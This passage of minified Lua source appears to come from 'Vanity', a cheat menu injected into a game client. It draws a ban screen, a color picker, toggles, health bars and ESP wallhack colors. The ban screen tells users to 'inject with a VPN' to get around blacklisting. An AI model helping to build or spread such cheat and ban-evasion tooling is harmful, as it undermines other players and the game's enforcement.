uiScale) local messageLineGap = roundNearest(7 * uiScale) local messageBlockHeight = #blacklistLines * messageLineHeight + math.max(0, #blacklistLines - 1) * messageLineGap local authenticationMatch if not isBlacklistError then authenticationMatch = isBlacklistError else authenticationMatch = blacklistMessage:lower():find("authenticate", 1, true) end local vpnTips if authenticationMatch then vpnTips = { "Tip: Rejoin & inject with a VPN", "Already on VPN? Try turning it off" } end local vpnTipGap = roundNearest(3 * uiScale) local vpnTipsHeight if vpnTips then vpnTipsHeight = #vpnTips * regularFontSize + math.max(0, #vpnTips - 1) * vpnTipGap + roundNearest(10 * uiScale) end vpnTipsHeight = vpnTipsHeight or 0 local appealLines if not isBlacklistError then appealLines = { "If you believe this was a mistake,", "please open a ticket on our Discord to appeal." } end local appealGap = roundNearest(2 * uiScale) local appealHeight if appealLines then appealHeight = #appealLines * footerLineHeight + math.max(0, #appealLines - 1) * appealGap end appealHeight = appealHeight or 0 local bannedContentHeight if not isBlacklistError and blacklistBannedBy then bannedContentHeight = math.max(emphasisFontSize, appealHeight) end bannedContentHeight = bannedContentHeight or 0 local bannedSectionHeight if not isBlacklistError and blacklistBannedBy then bannedSectionHeight = roundNearest(10 * uiScale) + 1 + roundNearest(10 * uiScale) + bannedContentHeight end bannedSectionHeight = bannedSectionHeight or 0 local panelWidth = roundNearest(520 * uiScale) local footerFontSize if isBlacklistError and regularFontSize then footerFontSize = regularFontSize end footerFontSize = footerFontSize or smallFontSize local panelHeight = contentPadding + roundNearest(26 * uiScale) panelHeight = panelHeight + roundNearest(8 * uiScale) + headingFontSize panelHeight = panelHeight + roundNearest(4 * uiScale) + subtitleFontSize panelHeight = panelHeight + roundNearest(12 * uiScale) + messageBlockHeight panelHeight = panelHeight + vpnTipsHeight + bannedSectionHeight panelHeight = panelHeight + roundNearest(14 * uiScale) + footerFontSize + contentPadding local panelX = roundNearest((screenWidth - panelWidth) / 2) local panelY = roundNearest((screenHeight - panelHeight) / 2) local panelRadius = roundNearest(12 * uiScale) local contentX = panelX + contentPadding menu.drawing.drawInterfacePanel(panelX, panelY, panelWidth, panelHeight, uiScale, fadeAlpha, panelRadius) local contentY = panelY + contentPadding local logoWidth = roundNearest(84 * uiScale) local logoHeight = roundNearest(26 * uiScale) local logoX = panelX + panelWidth - contentPadding - logoWidth local logoDrawn = false if menu.textures and menu.textures.vanityBrandLogo and Ham.drawTexture then Ham.drawTexture( menu.textures.vanityBrandLogo, { logoX, contentY }, { logoX + logoWidth, contentY + logoHeight }, whiteColor, 0, {} ) logoDrawn = true end if not logoDrawn then Ham.setFont(titleFont) Ham.drawText("Vanity", { logoX, contentY }, whiteColor, roundNearest(17 * uiScale), false, false, {}) Ham.resetFont() end Ham.setFont(titleFont) local headingText = isBlacklistError and "Error" or "Blacklisted" local headingY = contentY + roundNearest((logoHeight - headingFontSize) / 2) Ham.drawText(headingText, { contentX, headingY }, whiteColor, headingFontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(headingText, { contentX, headingY }, whiteColor, headingFontSize, false, false, {}) Ham.resetFont() Ham.setFont(bodyFont) local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 local subtitleText = isBlacklistError and "An error occurred while starting Vanity!" or "Access to Vanity has been restricted!" local subtitleY = math.max(contentY + logoHeight, headingY + headingFontSize) + roundNearest(5 * uiScale) Ham.drawText(subtitleText, { contentX, subtitleY }, mutedColor, subtitleFontSize, false, false, {}) local separatorY = subtitleY + subtitleFontSize + roundNearest(10 * uiScale) local contentWidth = panelWidth - contentPadding * 2 Ham.drawRectFilled({ contentX, separatorY, contentWidth, 1 }, scaleBlacklistAlpha({ 255, 255, 255, 28 }), 0, 0) local lineY = separatorY + roundNearest(10 * uiScale) local bullet = "\226\128\162" for _, line in ipairs(blacklistLines) do local lineText if isBlacklistError and line then lineText = line else lineText = bullet .. " " .. line end Ham.drawText(lineText, { contentX, lineY }, softColor, messageLineHeight, false, true, { 0, 0, 0, 100 }) Ham.drawText(lineText, { contentX, lineY }, softColor, messageLineHeight, false, false, {}) lineY = lineY + messageLineHeight + messageLineGap end if vpnTips then lineY = lineY + roundNearest(8 * uiScale) for _, tip in ipairs(vpnTips) do Ham.drawText(tip, { contentX, lineY }, whiteColor, regularFontSize, false, false, {}) lineY = lineY + regularFontSize + vpnTipGap end end local footerSize if isBlacklistError and regularFontSize then footerSize = regularFontSize else footerSize = smallFontSize end local footerY = panelY + panelHeight - contentPadding - footerSize local discordLabel = "Join Discord" local iconSize = footerSize + roundNearest(2 * uiScale) local iconGap = roundNearest(7 * uiScale) Ham.setFont(bodyFont) local labelWidth = select(1, Ham.getTextWidth(discordLabel)) if not labelWidth then labelWidth = roundNearest(90 * uiScale) end local scaledLabelWidth = roundNearest(labelWidth * footerSize / math.max(1, baseFontSize)) local discordIcon = menu.fonts and menu.fonts.faBrands and menu.ICON_DISCORD local iconWidth = discordIcon and iconSize + iconGap or 0 local buttonWidth = iconWidth + scaledLabelWidth local buttonX = panelX + panelWidth - contentPadding - buttonWidth local buttonY = footerY local buttonHeight = math.max(footerSize, iconSize) + roundNearest(4 * uiScale) if not isBlacklistError and blacklistBannedBy then local bannedY = lineY + roundNearest(2 * uiScale) Ham.drawRectFilled({ contentX, bannedY, contentWidth, 1 }, scaleBlacklistAlpha({ 255, 255, 255, 28 }), 0, 0) lineY = bannedY + roundNearest(10 * uiScale) local bannedText = bullet .. " " .. blacklistBannedBy Ham.drawText(bannedText, { contentX, lineY }, softColor, emphasisFontSize, false, true, { 0, 0, 0, 100 }) Ham.drawText(bannedText, { contentX, lineY }, softColor, emphasisFontSize, false, false, {}) if appealLines then for index, appealLine in ipairs(appealLines) do local appealWidth = select(1, Ham.getTextWidth(appealLine)) or 0 appealWidth = roundNearest(appealWidth * footerLineHeight / math.max(1, baseFontSize)) local appealX = panelX + panelWidth - contentPadding - appealWidth local appealY = lineY + (index - 1) * (footerLineHeight + appealGap) Ham.drawText( appealLine, { appealX, appealY }, softColor, footerLineHeight, false, true, { 0, 0, 0, 100 } ) Ham.drawText(appealLine, { appealX, appealY }, softColor, footerLineHeight, false, false, {}) end end lineY = lineY + bannedContentHeight elseif isBlacklistError then local usernameLine = "Username: " .. username Ham.drawText(usernameLine, { contentX, buttonY }, whiteColor, footerSize, false, true, { 0, 0, 0, 100 }) Ham.drawText(usernameLine, { contentX, buttonY }, whiteColor, footerSize, false, false, {}) end local discordHovered = false if Ham.getMousePos then local mouseX, mouseY = Ham.getMousePos() if buttonX <= mouseX and mouseX <= buttonX + buttonWidth and buttonY <= mouseY and mouseY <= buttonY + buttonHeight then discordHovered = true end end local hoverAmount = menu.vars._blacklistDiscordHover or 0 local now = GetGameTimer() local lastHoverTime = menu.vars._blacklistDiscordHoverLast or now local deltaTime = math.min(0.05, math.max(0, (now - lastHoverTime) / 1000)) menu.vars._blacklistDiscordHoverLast = now local hoverTarget = discordHovered and 1 or 0 hoverAmount = hoverAmount + (hoverTarget - hoverAmount) * math.min(1, 14 * deltaTime) if math.abs(hoverTarget - hoverAmount) < 0.01 then hoverAmount = hoverTarget end menu.vars._blacklistDiscordHover = hoverAmount if discordHovered and not menu.vars._blacklistDiscordHoverPrev and menu.utils.playSound then menu.utils.playSound("NAV_UP_DOWN") end menu.vars._blacklistDiscordHoverPrev = discordHovered local inverseHover = 1 - hoverAmount local channel = math.floor(200 * inverseHover + 255 * hoverAmount) local discordColor = scaleBlacklistAlpha({ channel, channel, channel, 255 }) if isBlacklistError and hoverAmount < 0.01 then discordColor = whiteColor end local hoverOffset = roundNearest(3 * uiScale * hoverAmount) local iconX = buttonX - hoverOffset local labelX = buttonX + iconWidth - hoverOffset local labelY = buttonY + roundNearest((buttonHeight - footerSize) / 2) - roundNearest(2 * uiScale) local iconY = buttonY + roundNearest((buttonHeight - iconSize) / 2) - roundNearest(2 * uiScale) if discordIcon then Ham.setFont(menu.fonts.faBrands) Ham.drawText(menu.ICON_DISCORD, { iconX, iconY }, discordColor, iconSize, false, true, { 0, 0, 0, 100 }) Ham.drawText(menu.ICON_DISCORD, { iconX, iconY }, discordColor, iconSize, false, false, {}) Ham.resetFont() Ham.setFont(bodyFont) end Ham.drawText(discordLabel, { labelX, labelY }, discordColor, footerSize, false, true, { 0, 0, 0, 100 }) Ham.drawText(discordLabel, { labelX, labelY }, discordColor, footerSize, false, false, {}) if 0.01 < hoverAmount then local underlineWidth = math.max(1, roundNearest(scaledLabelWidth * hoverAmount)) local underlineHeight = math.max(1, roundNearest(1 * uiScale)) local underlineY = labelY + footerSize + roundNearest(2 * uiScale) local underlineAlpha = (discordColor[4] or 255) * (0.35 + 0.55 * hoverAmount) Ham.drawRectFilled( { labelX, underlineY, underlineWidth, underlineHeight }, { discordColor[1], discordColor[2], discordColor[3], math.floor(underlineAlpha) }, 0, 0 ) end menu.vars._blacklistDiscordBtn = { x = buttonX - roundNearest(3 * uiScale), y = buttonY, w = buttonWidth + roundNearest(3 * uiScale), h = buttonHeight, hover = discordHovered } Ham.resetFont() end function assembledMenuDrawing.drawMinimapId() if menu.vars.initLoading and menu.vars.initLoading.active then return end if IsPauseMenuActive() then return end if IsRadarHidden and IsRadarHidden() then return end local playerId = Ham.getId and Ham.getId() or "" local text = tostring(playerId) if text == "" then return end local screenWidth, screenHeight = Ham.getResolution() local scale = menu.vars.scale or 1.0 local fontSize = roundNearest(12 * scale) local horizontalMargin = roundNearest(12 * scale) local leftX = horizontalMargin local bottomY = screenHeight - roundNearest(18 * scale) local textWidth = select(1, Ham.getTextWidth(text)) local rightX = screenWidth - horizontalMargin - textWidth local topY = roundNearest(6 * scale) Ham.setFont(menu.fonts.title) Ham.drawText(text, { leftX, bottomY }, { 255, 255, 255, 180 }, fontSize, false, true, { 0, 0, 0, 180 }) Ham.drawText(text, { leftX, bottomY }, { 255, 255, 255, 180 }, fontSize, false, false, {}) Ham.drawText(text, { rightX, topY }, { 255, 255, 255, 180 }, fontSize, false, true, { 0, 0, 0, 180 }) Ham.drawText(text, { rightX, topY }, { 255, 255, 255, 180 }, fontSize, false, false, {}) Ham.resetFont() end function assembledMenuDrawing.drawColorPicker() if not menu.vars.colorPickerState.active then return end local screenWidth, screenHeight = Ham.getResolution() local scale = menu.vars.scale or 1.0 local state = menu.vars.colorPickerState local panelWidth = roundNearest(204 * scale) local panelHeight = roundNearest(232 * scale) local padding = roundNearest(8 * scale) local paletteGap = roundNearest(7 * scale) local hueWidth = roundNearest(10 * scale) local radius = roundNearest(9 * scale) local headingHeight = roundNearest(8 * scale) local paletteSize = panelWidth - padding * 2 - hueWidth - paletteGap local panelX = math.floor((screenWidth - panelWidth) / 2) local panelY = math.floor((screenHeight - panelHeight) / 2) local paletteX = panelX + padding local paletteY = panelY + padding + headingHeight + paletteGap local primaryColor = menu.drawing.colors.primary or { 106, 0, 255, 255 } local textColor = menu.drawing.colors.text_primary or { 255, 255, 255, 255 } local mutedColor = menu.drawing.colors.text_muted or { 170, 170, 175, 220 } local borderColor = { 50, 50, 56, 255 } local panelColor = { 12, 12, 14, 245 } local insetColor = { 16, 16, 18, 255 } if state.rainbowEnabled then state.hue = GetGameTimer() % 6000 / 6000 state.saturation = 1 state.brightness = 1 end local hue = state.hue local red, green, blue = menu.utils.hsvToRgb(state.hue, state.saturation, state.brightness) local alpha = math.floor(math.max(0, math.min(255, state.alpha or 255))) if state.var then local previousColor = menu.vars.colorPickers[state.var] menu.vars.colorPickers[state.var] = { red, green, blue, alpha } local unchanged = previousColor and previousColor[1] == red and previousColor[2] == green and previousColor[3] == blue and (previousColor[4] or 255) == alpha if not unchanged then local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if currentNode then for _, option in ipairs(menu.logic.getNodeOptions(currentNode)) do if menu.logic.optionMatchesColorVar(option, state.var) and option.onChangeFunc then menu.utils.safeCallByName(option.onChangeFunc) end end end local onChange = menu.vars.colorPickerOnChangeFuncs and menu.vars.colorPickerOnChangeFuncs[state.var] if onChange then menu.utils.safeCallByName(onChange, { red, green, blue, alpha }) end end end Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, panelColor, radius, 0) Ham.drawRectFilled({ panelX + 1, panelY + 1, panelWidth - 2, panelHeight - 2 }, insetColor, radius, 0) Ham.drawRectFilled( { paletteX, panelY + padding, paletteSize, headingHeight }, { red, green, blue, 255 }, roundNearest(2 * scale), 0 ) local cachedSize = state.cachedPaletteSize local rebuildPalette = state.cachedPalette == nil or state.cachedHue ~= hue or cachedSize.width ~= paletteSize or cachedSize.height ~= paletteSize or cachedSize.x ~= paletteX or cachedSize.y ~= paletteY if rebuildPalette then state.cachedPalette = {} state.cachedHue = hue cachedSize.width = paletteSize cachedSize.height = paletteSize cachedSize.x = paletteX cachedSize.y = paletteY local cellStep = 4 for row = 0, paletteSize - 1, cellStep do for column = 0, paletteSize - 1, cellStep do local cellRed, cellGreen, cellBlue = menu.utils.hsvToRgb(hue, column / paletteSize, 1 - row / paletteSize) table.insert(state.cachedPalette, { x = paletteX + column, y = paletteY + row, width = math.min(cellStep, paletteSize - column), height = math.min(cellStep, paletteSize - row), color = { cellRed, cellGreen, cellBlue, 255 } }) end end end for _, cell in ipairs(state.cachedPalette) do Ham.drawRectFilled({ cell.x, cell.y, cell.width, cell.height }, cell.color, 0, 0) end Ham.drawRectFilled({ paletteX - 1, paletteY - 1, paletteSize + 2, 1 }, borderColor, 0, 0) Ham.drawRectFilled({ paletteX - 1, paletteY + paletteSize, paletteSize + 2, 1 }, borderColor, 0, 0) Ham.drawRectFilled({ paletteX - 1, paletteY, 1, paletteSize }, borderColor, 0, 0) Ham.drawRectFilled({ paletteX + paletteSize, paletteY, 1, paletteSize }, borderColor, 0, 0) local hueX = paletteX + paletteSize + paletteGap local hueY = paletteY local hueStep = 2 for row = 0, paletteSize - 1, hueStep do local rowRed, rowGreen, rowBlue = menu.utils.hsvToRgb(row / paletteSize, 1, 1) Ham.drawRectFilled( { hueX, hueY + row, hueWidth, math.min(hueStep, paletteSize - row) }, { rowRed, rowGreen, rowBlue, 255 }, 0, 0 ) end Ham.drawRectFilled({ hueX - 1, hueY - 1, hueWidth + 2, 1 }, borderColor, 0, 0) Ham.drawRectFilled({ hueX - 1, hueY + paletteSize, hueWidth + 2, 1 }, borderColor, 0, 0) Ham.drawRectFilled({ hueX - 1, hueY, 1, paletteSize }, borderColor, 0, 0) Ham.drawRectFilled({ hueX + hueWidth, hueY, 1, paletteSize }, borderColor, 0, 0) local selectorX = paletteX + roundNearest(state.saturation * paletteSize) local selectorY = paletteY + roundNearest((1 - state.brightness) * paletteSize) local selectorRadius = roundNearest(4 * scale) Ham.drawCircle({ selectorX, selectorY, selectorRadius + 1 }, { 0, 0, 0, 255 }, 32, 1.0, true) Ham.drawCircle({ selectorX, selectorY, selectorRadius }, { 255, 255, 255, 255 }, 32, 1.0, false) Ham.drawCircle( { selectorX, selectorY, math.max(1, roundNearest(1.2 * scale)) }, { 255, 255, 255, 255 }, 16, 1.0, true ) local hueSelectorY = hueY + roundNearest(state.hue * paletteSize) Ham.drawRectFilled({ hueX - roundNearest(1 * scale), hueSelectorY - roundNearest(1 * scale), hueWidth + roundNearest(2 * scale), roundNearest(3 * scale) }, { 255, 255, 255, 255 }, roundNearest(1 * scale), 0) local footerHeight = roundNearest(18 * scale) local footerY = panelY + panelHeight - padding - footerHeight Ham.drawRectFilled( { paletteX, footerY, panelWidth - padding * 2, footerHeight }, { 10, 10, 12, 255 }, roundNearest(4 * scale), 0 ) local rainbowX, rainbowY, rainbowSize if not state.noRainbow then local rainbowLabelY = footerY + roundNearest(4 * scale) rainbowSize = roundNearest(14 * scale) rainbowX = panelX + panelWidth - padding - rainbowSize rainbowY = footerY + roundNearest(6 * scale) Ham.drawText( "Rainbow", { paletteX, rainbowLabelY }, textColor, roundNearest(12 * scale), false, true, { 0, 0, 0, 255 } ) Ham.drawText("Rainbow", { paletteX, rainbowLabelY }, textColor, roundNearest(12 * scale), false, false, {}) Ham.drawRectFilled( { rainbowX, rainbowY, rainbowSize, rainbowSize }, { 28, 28, 32, 255 }, roundNearest(3 * scale), 0 ) Ham.drawRectFilled( { rainbowX - 1, rainbowY - 1, rainbowSize + 2, rainbowSize + 2 }, state.rainbowEnabled and primaryColor or borderColor, roundNearest(3 * scale), 0 ) Ham.drawRectFilled( { rainbowX, rainbowY, rainbowSize, rainbowSize }, { 28, 28, 32, 255 }, roundNearest(3 * scale), 0 ) if state.rainbowEnabled then Ham.drawRectFilled({ rainbowX + roundNearest(3 * scale), rainbowY + roundNearest(3 * scale), rainbowSize - roundNearest(6 * scale), rainbowSize - roundNearest(6 * scale) }, { red, green, blue, 255 }, roundNearest(2 * scale), 0) end end menu.drawing.handleColorPickerMouse( paletteX, paletteY, paletteSize, paletteSize, hueX, hueWidth, rainbowX, rainbowY, rainbowSize or 0, rainbowSize or 0 ) end function assembledMenuDrawing.handleColorPickerMouse( paletteX, paletteY, paletteWidth, paletteHeight, hueX, hueWidth, rainbowX, rainbowY, rainbowWidth, rainbowHeight ) local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local state = menu.vars.colorPickerState if mouseDown then if not state.mouseDown then state.mouseDown = true if rainbowX and rainbowX <= mouseX and mouseX <= rainbowX + rainbowWidth and rainbowY <= mouseY and mouseY <= rainbowY + rainbowHeight then state.rainbowEnabled = not state.rainbowEnabled if state.var then menu.vars.colorPickerRainbowStates[state.var] = state.rainbowEnabled == true end state.hexInputActive = false state.hexSelectAll = false state.dragging = nil return end if paletteX <= mouseX and mouseX <= paletteX + paletteWidth and paletteY <= mouseY and mouseY <= paletteY + paletteHeight then state.rainbowEnabled = false if state.var then menu.vars.colorPickerRainbowStates[state.var] = false end state.hexInputActive = false state.hexSelectAll = false state.dragging = "sv" elseif hueX <= mouseX and mouseX <= hueX + hueWidth and paletteY <= mouseY and mouseY <= paletteY + paletteHeight then state.rainbowEnabled = false if state.var then menu.vars.colorPickerRainbowStates[state.var] = false end state.hexInputActive = false state.hexSelectAll = false state.dragging = "h" else state.hexInputActive = false state.hexSelectAll = false state.dragging = nil end end if state.dragging == "sv" then local saturation = (mouseX - paletteX) / paletteWidth local brightness = 1 - (mouseY - paletteY) / paletteHeight state.saturation = math.max(0, math.min(1, saturation)) state.brightness = math.max(0, math.min(1, brightness)) elseif state.dragging == "h" then state.hue = math.max(0, math.min(1, (mouseY - paletteY) / paletteHeight)) end if not state.var then return end local red, green, blue = menu.utils.hsvToRgb(state.hue, state.saturation, state.brightness) local previousColor = menu.vars.colorPickers[state.var] if not previousColor then return end local alpha = math.floor(math.max(0, math.min(255, state.alpha or 255))) menu.vars.colorPickers[state.var] = { red, green, blue, alpha } if previousColor[1] == red and previousColor[2] == green and previousColor[3] == blue and (previousColor[4] or 255) == alpha then return end local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if not currentNode then return end for _, option in ipairs(menu.logic.getNodeOptions(currentNode)) do if menu.logic.optionMatchesColorVar(option, state.var) and option.onChangeFunc then menu.utils.safeCallByName(option.onChangeFunc) end end return end state.mouseDown = false state.dragging = nil end function assembledMenuDrawing.drawPill(x, y, width, height, color) if not color then return end local radius = height / 2 Ham.drawRectFilled({ x + radius, y, width - height, height }, color, 0, 0) Ham.drawCircle({ x + radius, y + radius, radius }, color, 32, 1.0, true) Ham.drawCircle({ x + width - radius, y + radius, radius }, color, 32, 1.0, true) end function assembledMenuDrawing.drawToggleThumb(centerX, centerY, radius, color, scale, square) if square then local diameter = radius * 2 Ham.drawRectFilled( { centerX - radius, centerY - radius + 1, diameter, diameter }, { 0, 0, 0, 35 }, math.max(1, roundNearest(2 * scale)), 0 ) Ham.drawRectFilled( { centerX - radius, centerY - radius, diameter, diameter }, color, math.max(1, roundNearest(3 * scale)), 0 ) return end Ham.drawCircle({ centerX, centerY + 1, radius }, { 0, 0, 0, 45 }, 24, 1.0, true) Ham.drawCircle({ centerX, centerY, radius }, color, 24, 1.0, true) Ham.drawCircle( { centerX, centerY - math.max(1, radius * 0.25), math.max(1, radius * 0.55) }, { 255, 255, 255, 35 }, 16, 1.0, true ) end function assembledMenuDrawing.drawToggleTrackBase(x, y, width, height, enabled, scale, colors, pill) local primary = colors.primary or { 30, 90, 210, 255 } local offColor if pill then offColor = { 0, 0, 0, 255 } else offColor = colors.toggle_off or { 68, 68, 78, 255 } end if pill then menu.drawing.drawPill(x, y, width, height, enabled and primary or offColor) if not enabled then return end Ham.drawRectGradient( { x, y + roundNearest(height * 0.45), width, roundNearest(height * 0.55) }, { 0, 0, 0, 0 }, { 0, 0, 0, 55 }, true ) return end local radius = math.max(2, roundNearest(4 * scale)) Ham.drawRectFilled({ x, y, width, height }, enabled and primary or offColor, radius, roundNearest(10 * scale)) Ham.drawRectFilled({ x, y, width, roundNearest(1 * scale) }, { 255, 255, 255, enabled and 28 or 14 }, radius, 0) end function assembledMenuDrawing.drawToggleStylePill(x, y, width, height, enabled, scale, colors) local primary = colors.primary or { 30, 90, 210, 255 } local thumbColor = colors.toggle_thumb or { 255, 255, 255, 255 } local disabledThumbColor = { 150, 150, 158, 255 } if enabled then for offset = 2, 1, -1 do menu.drawing.drawPill( x - offset, y - offset, width + offset * 2, height + offset * 2, { primary[1], primary[2], primary[3], 16 * offset } ) end end menu.drawing.drawToggleTrackBase(x, y, width, height, enabled, scale, colors, true) local padding = math.max(2, roundNearest(2 * scale)) local thumbRadius = (height - padding * 2) / 2 local thumbX if enabled then thumbX = x + width - padding - thumbRadius else thumbX = x + padding + thumbRadius end menu.drawing.drawToggleThumb( thumbX, y + height / 2, thumbRadius, enabled and thumbColor or disabledThumbColor, scale, false ) end function assembledMenuDrawing.drawToggleSwitch(x, y, width, height, enabled, scale) if not (x and y and width and height) then return end scale = scale or 1.0 menu.drawing.drawToggleStylePill(x, y, width, height, enabled, scale, menu.drawing.colors) end function assembledMenuDrawing.applyVisAlpha(color) if not color or type(color) ~= "table" then return color end local alphaMultiplier = menu.vars._visAnimAlphaMul if not alphaMultiplier or 0.999 <= alphaMultiplier then return color end local result = {} local packed = table.pack(math.max(0, math.min(255, math.floor((color[4] or 255) * alphaMultiplier)))) rawset(result, 1, color[1]) rawset(result, 2, color[2]) rawset(result, 3, color[3]) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end function assembledMenuDrawing.easeOutCubic(progress) progress = math.max(0, math.min(1, progress or 0)) return 1 - math.pow(1 - progress, 3) end function assembledMenuDrawing.easeOutBack(progress) progress = math.max(0, math.min(1, progress or 0)) local overshoot = 1.70158 return 1 + (overshoot + 1) * math.pow(progress - 1, 3) + overshoot * math.pow(progress - 1, 2) end function assembledMenuDrawing.getMenuOpenCloseAnimProgress() if menu.vars.animation and menu.vars.animation.active then return 1, false end local animation = menu.vars.menuVisibilityAnim or { progress = 1, target = 1 } local progress = math.max(0, math.min(1, animation.progress or 0)) if progress < 0.995 or 0.01 < math.abs(progress - (animation.target or 1)) then return progress, true end return 1, false end function assembledMenuDrawing.getMenuVisibilityAnimState() local progress, animating = menu.drawing.getMenuOpenCloseAnimProgress() local back = menu.drawing.easeOutBack(progress) local cubic = menu.drawing.easeOutCubic(progress) return { progress = progress, alpha = math.floor((0.12 + 0.88 * cubic) * 255), offsetX = 0, offsetY = 0, scaleMul = 0.91 + 0.09 * back, animating = animating } end function assembledMenuDrawing.beginMenuVisibilityTransform() local state = menu.drawing.getMenuVisibilityAnimState() menu.vars._visAnimAlphaMul = state.alpha / 255 menu.vars._visAnimSavedScale = menu.vars.scale if state.scaleMul and state.scaleMul < 0.999 then menu.vars.scale = menu.vars.scale * state.scaleMul end if 0.999 <= menu.vars._visAnimAlphaMul and (not state.scaleMul or 0.999 <= state.scaleMul) then return end menu.vars._visHamBackup = { drawRectFilled = Ham.drawRectFilled, drawRectGradient = Ham.drawRectGradient, drawText = Ham.drawText, drawTexture = Ham.drawTexture } local function drawRectFilled(bounds, color, radius, flags) menu.vars._visHamBackup.drawRectFilled(bounds, menu.drawing.applyVisAlpha(color), radius, flags) end Ham.drawRectFilled = drawRectFilled local function drawRectGradient(bounds, topColor, bottomColor, horizontal) menu.vars._visHamBackup.drawRectGradient( bounds, menu.drawing.applyVisAlpha(topColor), menu.drawing.applyVisAlpha(bottomColor), horizontal ) end Ham.drawRectGradient = drawRectGradient local function drawText(text, position, color, size, centered, outline, outlineColor) local adjustedOutline = outlineColor and menu.drawing.applyVisAlpha(outlineColor) or outlineColor menu.vars._visHamBackup.drawText( text, position, menu.drawing.applyVisAlpha(color), size, centered, outline, adjustedOutline ) end Ham.drawText = drawText local function drawTexture(texture, topLeft, bottomRight, color, rotation, options) menu.vars._visHamBackup.drawTexture( texture, topLeft, bottomRight, menu.drawing.applyVisAlpha(color or { 255, 255, 255, 255 }), rotation, options ) end Ham.drawTexture = drawTexture end function assembledMenuDrawing.endMenuVisibilityTransform() if menu.vars._visHamBackup then Ham.drawRectFilled = menu.vars._visHamBackup.drawRectFilled Ham.drawRectGradient = menu.vars._visHamBackup.drawRectGradient Ham.drawText = menu.vars._visHamBackup.drawText Ham.drawTexture = menu.vars._visHamBackup.drawTexture menu.vars._visHamBackup = nil end if menu.vars._visAnimSavedScale ~= nil then menu.vars.scale = menu.vars._visAnimSavedScale menu.vars._visAnimSavedScale = nil end menu.vars._visAnimAlphaMul = nil end function assembledMenuDrawing.drawBanner() local scale = menu.vars.scale local position = menu.vars.menuPositionState local initialized = position.x ~= nil and position.y ~= nil if not initialized then position.x = roundNearest(75 * scale) position.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * scale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local x = position.x local height = roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) local y = position.y - height local radius = roundNearest(6 * scale) local topLeft = { roundNearest(x), roundNearest(y) } local bottomRight = { roundNearest(x) + roundNearest(menu.vars.width), roundNearest(y) + height } local corners = { topLeft = true, topRight = true, bottomLeft = false, bottomRight = false } if menu.textures.banner then Ham.drawTexture(menu.textures.banner, topLeft, bottomRight, { 255, 255, 255, 255 }, radius, corners) end end function assembledMenuDrawing.drawMagicHealthBarEffects(x, y, width, height, color, scale) if width <= 0 or height <= 0 or menu.vars.bools.fpsMode then return end scale = scale or menu.vars.scale or 1 local red, green, blue = color[1], color[2], color[3] for layer = 3, 1, -1 do local expansion = layer * math.max(0.5, scale) Ham.drawRectFilled( { x - expansion, y - expansion, width + expansion * 2, height + expansion * 2 }, { red, green, blue, 5 + (3 - layer) * 5 }, expansion, 8 ) end local vertical = width < height local longestSide = vertical and height or width if longestSide < 4 * scale then return end local time = GetGameTimer() / 1000 local particleCount = math.min(6, math.max(1, math.floor(longestSide / (24 * scale)))) local particleRadius = math.min(math.max(0.5, scale * 0.7), width / 2, height / 2) for index = 1, particleCount, 1 do local phase = (index * 0.61803398875 + time * 0.06) % 1 local particleX = vertical and x + width / 2 or x + particleRadius + phase * (width - particleRadius * 2) local particleY = vertical and y + particleRadius + phase * (height - particleRadius * 2) or y + height / 2 local alpha = math.floor(100 + 130 * (0.5 + 0.5 * math.sin(time * 2 + index * 2.4))) Ham.drawCircle( { particleX, particleY, particleRadius * 2.5 }, { red, green, blue, math.floor(alpha * 0.16) }, 8, 1, true ) Ham.drawCircle({ particleX, particleY, particleRadius }, { math.floor(170 + red / 3), math.floor(170 + green / 3), math.floor(170 + blue / 3), alpha }, 8, 1, true) if index % 2 == 0 then local horizontalLength = particleRadius * 1.8 local crossColor = { 255, 255, 255, math.floor(alpha * 0.7) } Ham.drawRectFilled( { particleX - horizontalLength, particleY - particleRadius / 3, horizontalLength * 2, particleRadius * 2 / 3 }, crossColor, 0, 0 ) Ham.drawRectFilled( { particleX - particleRadius / 3, particleY - horizontalLength, particleRadius * 2 / 3, horizontalLength * 2 }, crossColor, 0, 0 ) end end end function assembledMenuDrawing.drawHealthBar(centerX, topY, healthRatio, sizeMultiplier, widthOverride) local scale = menu.vars.scale * (sizeMultiplier or 1.0) local width = math.max(40, math.floor(90 * scale)) if widthOverride and 0 < widthOverride then width = math.max(30, math.min(math.floor(widthOverride), 400)) end local height = math.max(3, math.floor(4 * scale)) local leftX = math.floor(centerX - width / 2) local y = math.floor(topY) Ham.drawRectFilled({ leftX, y, width, height }, { 0, 0, 0, 200 }, 0, 0) Ham.drawRect({ leftX, y }, { leftX + width, y + height }, { 0, 0, 0, 255 }, 1, 0, 1) local clampedHealth = math.max(0.0, math.min(1.0, healthRatio)) local fillWidth = math.floor(width * clampedHealth) Ham.drawRectFilled({ leftX, y, fillWidth, height }, { 0, 200, 0, 230 }, 0, 0) Ham.drawRectFilled({ leftX, y, fillWidth, math.max(1, math.floor(height / 3)) }, { 255, 255, 255, 20 }, 0, 0) menu.drawing.drawMagicHealthBarEffects(leftX, y, fillWidth, height, { 0, 200, 0 }, scale) return width, height end function assembledMenuDrawing.getEspColor(kind, invisible) if kind == "armor" then local color = menu.vars.colorPickers.espArmorColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 100, 180, 255, 255 } end local pickerName = kind == "box" and "espBoxColor" or "espSkeletonColor" if invisible then local color = menu.vars.colorPickers and menu.vars.colorPickers.espInvisibleColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 255, 0, 0, 255 } end local color = menu.vars.colorPickers[pickerName] if color then return { color[1], color[2], color[3], color[4] or 255 } end local palette = { box = { "White", "Green", "Red", "Blue", "Yellow", "Purple", "Orange", "Cyan" }, skeleton = { "White", "Green", "Red", "Blue", "Yellow", "Purple", "Orange", "Cyan" } } local selector = menu.vars.selectors[pickerName] or 1 local names = palette[kind] if names and names[selector] and menu.vars.espColors[names[selector]] then local selected = 